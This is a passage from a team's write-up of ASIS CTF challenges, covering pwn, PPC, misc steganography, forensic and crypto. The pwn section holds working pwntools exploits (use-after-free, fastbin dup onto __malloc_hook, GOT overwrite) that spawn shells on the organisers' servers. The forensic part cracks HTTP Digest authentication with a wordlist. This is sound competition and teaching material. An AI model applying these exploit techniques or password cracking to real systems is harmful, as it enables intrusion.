xx = re.findall('name: (.*)\nkind', x)[0]
canary = u64('\x00'+xx[:7])
print 'canary:', hex(canary)
# switch order
delete(6)
create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1)
edit(0, 'b', 'b', 2, 'n')
delete(1)
fake_pos = stack-0x11f
print 'fake_pos:', hex(fake_pos)
create(flat(fake_pos), 'a', 1)
# fake chunk on stack
create(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00')
# puts address on heap
delete(3)
create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1)
# reset fastbin
delete(4)
delete(0)
create(flat(heap+0x160), 'b', 1,)
#raw_input("@")
magic = libc + 0xf1147
print 'magic:', hex(magic)
r.recvrepeat(1)
r.sendline('1')
r.sendlineafter('>', 'AAAA')
r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))
r.sendlineafter('>', '6')
sleep(1)
r.sendline('ls /home/pwn; cat /home/pwn/flag')
#embed()
r.interactive()
# ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}
```
### Just_sort (kevin47)
* Simple overflow and UAF problem
```python
#!/usr/bin/env python2
from pwn import *
from IPython import embed
from ctypes import *
import re
context.arch = 'amd64'
r = remote('159.65.125.233', 6005)
def insert(n, s):
r.sendlineafter('>', '1')
r.sendlineafter('>', str(n))
r.sendafter('>', s)
def edit(h, p, s):
r.sendlineafter('>', '2')
r.sendlineafter('>', str(h))
r.sendlineafter('>', str(p))
r.sendafter('>', s)
def printt():
r.sendlineafter('>', '3')
return r.recvuntil('---', drop=True)
def search(n, s):
r.sendlineafter('>', '4')
r.sendlineafter('>', str(n))
r.sendafter('>', s)
def delete(h, p):
r.sendlineafter('>', '5')
r.sendlineafter('>', str(h))
r.sendlineafter('>', str(p))
insert(10, 'a')
insert(10, 'b')
delete(1, 0)
search(10, flat(
[0]*3, 0x21,
[0]*3, 0x21,
0, 0x602018,
))
x = printt()
xx = re.findall('0: "(.*)"', x)[0]
libc = u64(xx.ljust(8, '\x00')) - 0x844f0
print 'libc:', hex(libc)
system = libc+0x45390
edit(1, 0, flat(system))
insert(40, '/bin/sh\x00')
delete(4, 0)
r.interactive()
# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}
```
### message_me (kevin47)
* UAF
* hijack __malloc_hook with fastbin dup attack
```python
#!/usr/bin/env python2
from pwn import *
from IPython import embed
from ctypes import *
import re
context.arch = 'amd64'
#r = remote('127.0.0.1', 7124)
r = remote('159.65.125.233', 6003)
def add(sz, content):
r.sendlineafter('choice : ', '0')
r.sendlineafter('size : ', str(sz))
r.sendlineafter('meesage : ', content)
def remove(idx):
r.sendlineafter('choice : ', '1')
r.sendlineafter('message : ', str(idx))
def show(idx):
r.sendlineafter('choice : ', '2')
r.sendlineafter('message : ', str(idx))
return r.recvuntil('----', drop=True)
def change(idx):
r.sendlineafter('choice : ', '3')
r.sendlineafter('message : ', str(idx))
add(0x100-0x10, 'a') # 0
add(100-0x10, 'a') # 1
add(0x100-0x10, 'a') # 2
add(100-0x10, 'a') # 3
add(0x100-0x10, 'a') # 4
add(100-0x10, 'a') # 5
remove(0)
remove(2)
remove(4)
x = show(2)
xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]
heap = u64(xx.ljust(8, '\x00')) - 0x2e0
x = show(4)
xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]
libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68
print 'heap:', hex(heap)
print 'libc:', hex(libc)
# fastbin dup
clib = CDLL("libc.so.6")
clib.srand(1)
__malloc_hook = libc + 0x3c4aed
#__malloc_hook = 0x602005
magic = libc + 0xf02a4
print 'magic:', hex(magic)
add(0x70-0x10, flat( # 6
0x71,
))
add(0x70-0x10, flat(0x71, __malloc_hook)) # 7
remove(6)
remove(7)
remove(6)
# 6's fd += 0x10
change(6)
change(6)
change(6)
add(0x70-0x10, flat(0xdeadbeef))
add(0x70-0x10, flat(0xdeadbeef))
add(0x70-0x10, '\x00'*3+flat(0, magic))
# trigger malloc_printerr
remove(0)
remove(0)
#r.sendlineafter('choice : ', '0')
#r.sendlineafter('size : ', '100')
r.interactive()
# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}
```
### Tinypwn (kevin47)
* Use the syscall execveat
```python2
#!/usr/bin/env python2
from pwn import *
from IPython import embed
from ctypes import *
import re
context.arch = 'amd64'
#r = remote('127.0.0.1', 7124)
r = remote('159.65.125.233', 6009)
r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18)
r.interactive()
# ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}
```
## PPC
### Neighbour (lwc)
$O(log N)$
```python=
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from sage.all import *
from pwn import *
def puzzle(s):
import string
for i in string.printable:
for j in string.printable:
for k in string.printable:
for l in string.printable:
if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s:
return i+j+k+l
r = remote('37.139.22.174', 11740)
r.recvuntil('sha256(X)[-6:] = ')
s = r.recv(6)
r.sendline(puzzle(s))
stage = 1
while True:
r.recvuntil('n = ')
n = Integer(r.recvline())
print 'stage %d n = ' % stage + str(n)
stage += 1
ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1)))
print ans
r.sendline(str(ans))
r.recvuntil('To win the flag, submit r :)\n')
tmp = r.recvline()
print tmp
if 'Great!' not in tmp:
break
if 'next' not in tmp:
break
r.interactive()
```
### The most Boring (how2hack)
I used more time to understand the challenge description than solving this challenge ==
Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool!
```python
#!/usr/bin/env python
import itertools as it
import string
from hashlib import sha256
import multiprocessing as mp
from pwn import *
host = '37.139.22.174'
port = 56653
def check(p):
if sha256(p).hexdigest()[-6:] == target:
return p
return None
def my_remote(ip, port, show=False):
global target
r = remote(ip, port)
menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True)
if show:
print(menu)
target = r.recvline().strip()
possible = string.ascii_letters+string.digits
possible = it.imap(''.join, it.product(possible, repeat=4))
pool = mp.Pool(32)
log.info('PoW XXXX = %s' % (target))
for c in pool.imap_unordered(check, possible, chunksize=100000):
if c:
log.info('Solved - %s' % c)
r.sendline(c)
break
pool.close()
return r
if __name__ == '__main__':
import sys
r = my_remote(host, port, show=True)
while True:
r.recvuntil('k = ')
k = int(r.recvline().strip())
log.info('k = ' + str(k))
r.recvuntil('send the first sequence: \n')
r.sendline(cyclic(alphabet='012', n=k))
r.recvuntil('send the second sequence: \n')
r.sendline(cyclic(alphabet='120', n=k))
r.recvuntil('send the third sequence: \n')
r.sendline(cyclic(alphabet='201', n=k))
if k == 9:
break
r.interactive()
```
Flag: `ASIS{67f99742bdf354228572fca52012287c}`
### Shapiro (shw)
Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point.
Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.
```
(x+0, y+2), (x+1, y+2), (x+2, y+2)
(x+0, y+1), (x+1, y+1), (x+2, y+1)
(x+0, y+0), (x+1, y+0), (x+2, y+0)
```
The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,
```
x+0 = y+0 = 0 mod 2
x+0 = y+1 = 0 mod 3
x+0 = y+2 = 0 mod 5
x+1 = y+0 = 0 mod 7
... and so on
```
According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used.
Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.
Code snippet:
```python
from gmpy import *
def find(k):
p = next_prime(1)
mod, rx, ry = [], [], []
for i in range(k):
for j in range(k):
mod.append(p)
rx.append((p-i)%p)
ry.append((p-j)%p)
p = next_prime(p)
return mod, rx, ry
while True:
r.recvuntil('k = ')
k = int(r.recvline()[:-1])
m, rx, ry = find(k)
X = chinese_remainder(m, rx)
Y = chinese_remainder(m, ry)
cond = r.recvline()[:-1]
prod = reduce(lambda x, y: x*y, m)
if 'larger' in cond:
lb = int(cond.split()[-1])
q = lb/prod
X += prod*(q+1)
Y += prod*(q+1)
elif 'smaller' in cond:
q = X/prod
X -= prod*(q+1)
Y -= prod*(q+1)
r.sendline(get_format(X, Y, k))
data = r.recvline()[:-1]
if 'please pass' not in data:
break
```
FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}`
## misc
### Plastic (sces60107)
There is a png file. Just try `zsteg`
```
$ zsteg plastic
meta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc4
5/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57
ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK
7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarG
U7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62
jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlN
ps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUsl
k+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnH
I/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj
1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0
QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3Cxg
tiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZk
OFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyO
bWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2s
mpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTk
KnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mR
AGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFN
ECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL
6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HP
wVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4P
V+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrk
RLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1
dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==
</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"
```
You can notice that there is a base64-encoded string
`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc4
5/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57
ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK
7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarG
U7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62
jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlN
ps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUsl
k+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnH
I/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj
1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0
QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3Cxg
tiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZk
OFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyO
bWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2s
mpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTk
KnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mR
AGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFN
ECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL
6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HP
wVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4P
V+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrk
RLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1
dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==`
But you cannot just use base64 decoder. There is something you need to do first.
You remove every `
` in the string. Then, you can use base64 decode.
After base64decoding, you still don't know what it is.
Just use `binwalk`, then you can find out that there is a zlib compressed data
The final step is decompress the data. The flag is right here
```
$ strings decompressed_data
bplist00
wxX$versionX$objectsY$archiverT$top
!"#$%&'()*+189=AGHNOWX\_cdhlostU$null
WNS.keysZNS.objectsV$class
XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_
backgroundColorZsourceText#
./0UNSRGB\NSColorSpaceO
*0.9862459898 0.007120999973 0.02743400075
2345Z$classnameX$classesWNSColor
67WNSColorXNSObject
:;<YNS.string
23>?_
NSMutableString
>@7XNSString
CDEFXNSString\NSAttributes
\documentclass[10pt]{article}
\usepackage[usenames]{color} %used for font color
\usepackage{amssymb} %maths
\usepackage{amsmath} %maths
\usepackage[utf8]{inputenc} %useful to type directly diacritic characters
VNSFont
STUVVNSSizeXNSfFlagsVNSName#@(
VMonaco
23YZVNSFont
[7VNSFont
23]^\NSDictionary
23`a_
NSAttributedString
NSAttributedString#@B
fgWNS.time#A
23ijVNSDate
k7VNSDate
m/0F1 1 1
CpEF
={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}
23uv_
NSMutableDictionary
u]7_
NSKeyedArchiver
yzTroot
```
The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}`
## forensic
### Trashy Or Classy (sces60107 bookgin)
In this forensic challenge you will get a pcap file.
In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/`
It's a compilicated challenge. I will try to make a long story short.
This challenge can be divided into three steps.
#### first step
In the first step, you will find an interest file from pcap which is `flag.caidx`
Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync)
You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx`
There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr`
But you need the username and password for the authentication.
#### second step
The username can be found in the pcap file. It's `admin`
But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication)
You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack.
It's won't take too much time to crack the password.
Finally, the password is `rainbow`
#### third step
Now you can login and download the `flag.caidx`.
But you still cannot list `flag.castr`
You may need to install `casync`
Then you can use `test-caindex`
```
trashy/casync/build$ ./test-caindex ../../flag.caidx
caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)
b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)
4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)
383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)
...
```
These message will tell you the chunk file's position.
For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk`
You can download all the chunk file in `flag.castr` now.
Now you can extract the flag
```
trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_like
trashy$ cd wherever_you_like
trashy/wherever_you_like$ ls
flag.png
```
The flaf is right here.
The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}`
### Tokyo (sces60107)
Without the hint, this challenge is probably the most guessing challenge in this CTF.
We will get a binary, but it can't be recognized by any tools.
After some investigation, I got three clues from the binary.
First, there is a header at the begining of this binary. And the header begin with `KC\n`
Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter.
Gather all the printable letter. It seems like you can reconstruct the flag from it in some order.
`!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua`
Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary.
Totally, I found 89 blocks in the binary and each blocks is 3 byte long.
what a coincidence! The length of flag is also 89.
These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3.
That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet`
Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database
`KC\n` is the magic signatrure of kyoto cabinet database file.
According the header, we can also find out that it is a hashdatabase.
After understanding the mechanism of kypto cabinet database, the end of the database is the record section.
Those 3-byte-long blocks is buckets.
So, the last question is what the key is.
According to record section, we will know the key size which is 3 byte long.
After several attempts, I found out the keys of the flag go from "000" to "088"
It's time to reconstruct the flag
```python
from pwn import *
import kyotocabinet
def haha(a):
k=a.encode("hex")
return int(k,16)
f=open("tokyo").read()
j=f[0x30:]
temp=[]
flag=False
kk=""
pos=0
hh=[]
for i in range(len(j)):
if j[i]!="\x00":
if flag:
kk+=j[i]
else:
kk=j[i]
flag=True
else:
if flag:
if kk=="\xcc\x04":
pos=i
break
temp.append(kk)
kk=""
flag=False
hh.append(i-3)
t=j[pos:]
t2=[]
flag=False
kk=""
for i in range(len(t)):
if t[i]!="\x00":
if flag:
kk+=t[i]
else:
kk=t[i]
flag=True
else:
if flag:
if len(kk)<2 or kk[1]!="\xee":
kk=""
continue
t2.append(kk[0])
kk=""
flag=False
i=map(haha,temp)
flag = "".join(t2)
flag2=""
for k in map(haha,temp):
v=sorted(i).index(k)
flag2+=flag[(v)%89]
print flag
print flag2
indd=[]
for i in range(89):
j=str(i).rjust(3,"0")
temp=kyotocabinet.hash_murmur(j)
indd.append(temp%0x100007)
flag3=""
for k in indd:
v=sorted(indd).index(k)
flag3+=flag2[(v)%89]
print flag3
```
This code is not a clean code. I'm sorry about that.
By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}`
## crypto
### the_early_school (shw)
```python
from Crypto.Util.number import *
def dec(s):
if len(s) % 3 == 2:
return dec(s[:-2]) + s[-2]
r = ''
for i in range(0, len(s), 3):
r += s[i:i+2]
return r
with open('FLAG.enc', 'rb') as f:
s = f.read()
ENC = bin(bytes_to_long(s))[2:]
for i in xrange(1 << 30):
ENC = dec(ENC)
a = long_to_bytes(int(ENC, 2))
if 'ASIS' in a:
print a
break
```
FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}`
### Iran (shw and sasdf)
#### First-half
We know how the key is generated.
```python
key_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))
```
Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.
```python
from decimal import *
import gmpy
getcontext().prec = 1000
t = Decimal(4*N).sqrt()
t = int(t)
for i in range(10000):
q = t - i # or try t + i
if n % q != 0:
continue
p = n / q
assert(gmpy.is_prime(p) and gmpy.is_prime(q))
print 'p =', p
print 'q =', q
```
After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.
```python
def decrypt(a, b, m):
n, e = a*b, 65537
d = gmpy.invert(e, (a-1)*(b-1))
key = RSA.construct((long(n), long(e), long(d)))
dec = key.decrypt(m)
return dec
print decrypt(p, q, c) # ASIS{0240093faf9ce
```
Also, we can get the range of `u = r+s` by
```python
def prev_prime(p):
for i in xrange(1, 1<<20):
if gmpy.next_prime(p-i) != p:
return p-i+1
u_min = max(prev_prime(p), (prev_prime(q)/4)+1)
u_max = min(p-1, q/4)
```
